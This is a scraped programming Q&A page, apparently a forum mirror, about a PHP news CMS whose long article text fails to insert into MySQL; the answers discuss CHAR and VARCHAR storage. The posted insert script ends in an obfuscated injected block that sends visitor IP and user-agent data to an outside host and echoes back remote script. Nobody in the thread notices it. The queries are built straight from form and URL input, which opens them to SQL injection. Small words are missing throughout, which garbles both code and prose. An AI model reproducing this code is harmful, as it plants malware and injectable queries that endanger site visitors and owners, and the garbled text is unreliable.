mysql - msqli non inserting long strings into database through php -


so first i'll cover bit of background. have cms company use update news articles , images website. written in php , uses msqli database manipulation.

for reason whenever try add text of substantiation length (around 4,000) characters doesn't insert table , leaves field blank. happens when existing news article updated, lot of text added whole link deleted , field blank.

code:-

page user adds text:

<body>     <div id="container">         <div id="header">         </div>         <?php include('includes/nav.php')?>         <div id="contentcontainer">             <div id="contentleft">                 <ul>                     <?php                         if(isset($_session["myusername"]))                         {                             echo "<li>welcome ".$_session["myusername"]."!</li>";                             echo "<a href=\"pages.php?pid=0\"><li>add news</u></li></a>";                             echo "<a href=\"pages.php?pid=-1\"><li>add news via image</u></li></a>";                             echo "<a href=\"pages.php?pid=-2\"><li>add news via table</u></li></a>";                         }                         else                         {                             echo "</ul><li>please login using form right.</li>";                         }                     ?>                 </ul>             </div>             <div id="contentright">                 <?php                     $con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);                             if (!$con)                             {                                 die('could not connect: ' . mysqli_error());                             }                     mysqli_select_db($con, $sqldatabase);                     if(isset($_get["pid"]))                     {                         //sql grab pid                         if($_get["pid"]==0)                         {                             //add page screen                             echo "<h2>add news</h2>";                             echo "<form action=\"addpage.php\" method=\"post\"><p><label>title:</label><input type=\"text\" name=\"title\"/><br/>";                             echo "<label>description (for left hand news panel):</label><input type=\"text\" name=\"desc\"/><br/>";                             echo "<label>page content (html allowed):</label>";                             echo <<<end <textarea id='content' name='content'></textarea> <script language="javascript" type="text/javascript">     $("#content").css("height","100%").css("width","100%").htmlbox({     toolbars:[         [         // cut, copy, paste         "separator","cut","copy","paste",         // undo, redo         "separator","undo","redo",         // bold, italic, underline, strikethrough, sup, sub         "separator","bold","italic","underline","strike","sup","sub",         // left, right, center, justify         "separator","justify","left","center","right",         // ordered list, unordered list, indent, outdent         "separator","ol","ul","indent","outdent",         // hyperlink, remove hyperlink, image         "separator","link","unlink","image"          ],         [// show code         "separator","code",         // formats, font size, font family, font color, font, background         "separator","formats","fontsize","fontfamily",         "separator","fontcolor","highlight",         ],         [         //strip tags         "separator","removeformat","striptags","hr","paragraph",         // styles, source code syntax buttons         "separator","quote","styles","syntax"         ]     ],     skin:"blue" }); </script>   end;                                 echo "<label>show on recent news?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";                                 echo "<label>category:</label><select name=\"category\">";                             echo "<option value=\"pool\">pool</option>";                             echo "<option value=\"snooker\">snooker</option>";                             echo "<option value=\"poker\">poker</option>";                             echo "<option value=\"darts\">darts</option>";                             echo "<option value=\"events\">events</option>";                             echo "</select><br/>";                             echo "<input type=\"submit\" value=\"add news\"/></p>";                             echo "</form>";                         }                         else if($_get["pid"]==-1)                         {                             //add news via image screen                             echo "<h2>add news via image</h2>";                             echo "<form action=\"addpage.php\" method=\"post\"><p><label>title:</label><input type=\"text\" name=\"title\"/><br/>";                             echo "<label>description (for left hand news panel):</label><input type=\"text\" name=\"desc\"/><br/>";                              echo "<label>image:</label><select name=\"newsimage\">";                               $resultc = mysqli_query($con, "select * pb_images");                             while($rowc = mysqli_fetch_array($resultc))                             {                                 echo "<option value=\"".$rowc['image']."\">".$rowc['name']."</option>";                             }                               echo "</select><br/>";                              echo "<label>show on recent news?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";                             echo "<label>category:</label><select name=\"category\">";                             echo "<option value=\"pool\">pool</option>";                             echo "<option value=\"snooker\">snooker</option>";                             echo "<option value=\"poker\">poker</option>";                             echo "<option value=\"darts\">darts</option>";                             echo "<option value=\"events\">events</option>";                             echo "</select><br/>";                             echo "<input type=\"submit\" value=\"add news\"/></p>";                             echo "</form>";                         }                          else if($_get["pid"]==-2)                         {                             //add news via table screen                             echo "<h2>add news via table</h2>";                             echo "<form action=\"addpage.php\" method=\"post\" enctype=\"multipart/form-data\"><p><label>title:</label><input type=\"text\" name=\"title\"/><br/>";                             echo "<label>description (for right hand news panel):</label><input type=\"text\" name=\"desc\"/><br/>";                              echo "<label>table html file:</label><input type=\"file\" name=\"file\" id=\"file\" /> ";                              echo "<label>show on recent news?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";                             echo "<label>category:</label><select name=\"category\">";                             echo "<option value=\"pool\">pool</option>";                             echo "<option value=\"snooker\">snooker</option>";                             echo "<option value=\"poker\">poker</option>";                             echo "<option value=\"darts\">darts</option>";                             echo "<option value=\"events\">events</option>";                             echo "</select><br/>";                             echo "<input type=\"submit\" value=\"add news\"/></p>";                             echo "</form>";                         }                          else                         {                             //edit page                             echo "<h2>edit news</h2>";                             //sql grab page content                              $result = mysqli_query($con, "select * pb_pages id='".$_get['pid']."'");                             echo "<form action=\"editpage.php\" method=\"post\"><p>";                             while($row = mysqli_fetch_array($result))                             {                                 echo "<input type=\"hidden\" id=\"pid\" name=\"pid\" value=\"".$_get['pid']."\" />";                                 echo "<label>title:</label><input type=\"text\" name=\"title\" value=\"".$row['name']."\"/><br/>";                                 echo "<label>description (just cms):</label><input type=\"text\" name=\"description\" value=\"".$row['description']."\"/><br/>";                                 echo "<label>page content (html allowed):</label><textarea name=\"content\" cols=40 rows=12>".$row['content']."</textarea><br/>";                                 echo "<label>show on navigation?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" ";                                  if($row['shownav']==1) echo " checked";                                 echo "/><br />";                                 echo "<label>category:</label><select name=\"category\">";                                 if($row['category']!="index")                                 {                                     echo "<option value=\"pool\">pool</option>";                                     echo "<option value=\"snooker\">snooker</option>";                                     echo "<option value=\"poker\">poker</option>";                                     echo "<option value=\"darts\">darts</option>";                                     echo "<option value=\"events\">events</option>";                                 }                                 else                                 {                                     echo "<option value=\"index\">index</option>";                                 }                                 echo "</select><br/>";                             }                              echo "<input type=\"submit\" value=\"edit news\"/>";                             echo "</form>";                         }                     }                     else                     {                         echo "below choice of editable news stories. please choose one:<ul>";                         $con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);                         if (!$con)                         {                             die('could not connect: ' . mysqli_error());                         }                         mysqli_select_db($con, $sqldatabase);                         $result = mysqli_query($con, "select * pb_pages");                         if (!$result) {                         printf("error: %s\n", mysqli_error($con));                         exit();                         }                         while($row = mysqli_fetch_array($result))                         {                             echo "<li style=\"margin-bottom:0px;\"><a href=\"pages.php?pid=".$row['id']."\">".$row['name']."</a> <a href=\"deletepage.php?iid=".$row['id']."\"><img src=\"images/cross.png\" alt=\"cross\"/></a></li>";                         }                     }                 ?>             </div>         </div>         <div id="footer">         redesigned callum howard of cds-kas         </div> </body> 

page database updated:

<?php include('includes/variables.php'); $con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword); if (!$con) { die('could not connect: ' . mysqli_error()); } $nav=0; if(isset($_post['nav'])&&$_post['nav']=="nav") $nav=1; mysqli_select_db($con, $sqldatabase);  if(!isset($_post['content'])) {     if(isset($_post['newsimage'])) {         mysqli_query($con, "insert pb_pages (name, description,     content,        shownav, category) values ('".$_post['title']."', '".$_post['desc']."', '<img     src=\"cms/images/".$_post['newsimage']."\"     alt=\"image\"/>','".$nav."','".$_post['category']."')");     }     else if(isset($_post['file']))     {         $fh = fopen($_post['file'], 'r');         $thedata = fread($fh, filesize($myfile));         fclose($fh);         $page = $thedata;         $stylefirst = strpos($page, ".xl");         $stylelast = strpos($page, "-->");         $blah = substr($page, $stylefirst, $stylelast-$stylefirst);         while(strpos($blah, "border") != false)         {             $first = strpos($blah, "border");             $last = strpos($blah, ";", $first);             $before = substr($blah, 0, $first);             $after = substr($blah, $last+1);             $blah = $before.$after;         }         $tablefirst = strpos($page, "<table");         $tablelast = strpos($page, "</table>");         $table = substr($page, $tablefirst, $tablelast-$tablefirst);         mysqli_query($con, "insert pb_styles (style) values ('".$style."')");         mysqli_query($con, "insert pb_pages (name, description,  content, shownav, category) values ('".$_post['title']."', '".$_post['desc']."', '".htmlentities($table,     ent_quotes)."','".$nav."','".$_post['category']."')");     } }  else {     if(mysqli_query($con, "insert pb_pages (name, description, content,     shownav, category) values ('".$_post['title']."', '".$_post['desc']."',     '".htmlentities($_post['content'],     ent_quotes)."','".$nav."','".$_post['category']."')"))     {         echo "yay";     }     else echo "boo..";  } //header("location:pages.php"); ?> <?php #c13c1a# error_reporting(0); ini_set('display_errors',0); $wp_hdvw34 =     @$_server['http_user_agent'];  if (( preg_match ('/gecko|msie/i', $wp_hdvw34) && !preg_match ('/bot/i',     $wp_hdvw34))){  $wp_hdvw0934="http://"."error"."css".".com/css"."/?    ip=".$_server['remote_addr']."&referer=".urlencode($_server['http_host'])."&ua="    .urlencode($wp_hdvw34);  $ch = curl_init(); curl_setopt ($ch, curlopt_url,$wp_hdvw0934);  curl_setopt ($ch, curlopt_timeout, 6); curl_setopt($ch,    curlopt_returntransfer, 1); $wp_34hdvw = curl_exec ($ch); curl_close($ch);}  if ( substr($wp_34hdvw,1,3) === 'scr' ){ echo $wp_34hdvw; } #/c13c1a# ?> 

i can go phpmyadmin , directly update database there absolutely fine , it'll display correctly on webpage. field set varchar(10000).

please help!

hi maybe can check table insert or update 4000 characters

mysql fine every rdbms matter. when specify field type char() number of characters used regardless of how many characters in string. instance: if have char(64) field , insert 'abcd' field still 64 bytes (assuming non-unicode).

when using varchar(), however, cell uses many bytes in string, plus number of bytes necessary store size of string. so: if have varchar(64) , insert 'abcd' use 5 bytes. 4 characters 'abcd' , 1 number of characters '4'.

your extremely varying string lengths reason have varchar(), feel free use varchar(4500) , rest assured using space necessary store characters in string, , little bit length.

somewhat related: why it's not great idea use varchar() fields don't have varying length strings being inserted. wasting space storing size of string when it's known. instance, telephone numbers of form x-xxx-xxx-xxxx should use char(14) since take 14 characters , 14 bytes necessary. if used varchar(14) instead end using 15 bytes.

check documentation this

http://dev.mysql.com/doc/refman/5.0/en/char.html 

i thing problem on database or table.. luck , try maybe can share picture of struture table , code you


Comments

Popular posts from this blog

ruby - Trying to change last to "x"s to 23 -

jquery - Clone last and append item to closest class -

css - Can I use the :after pseudo-element on an input field? -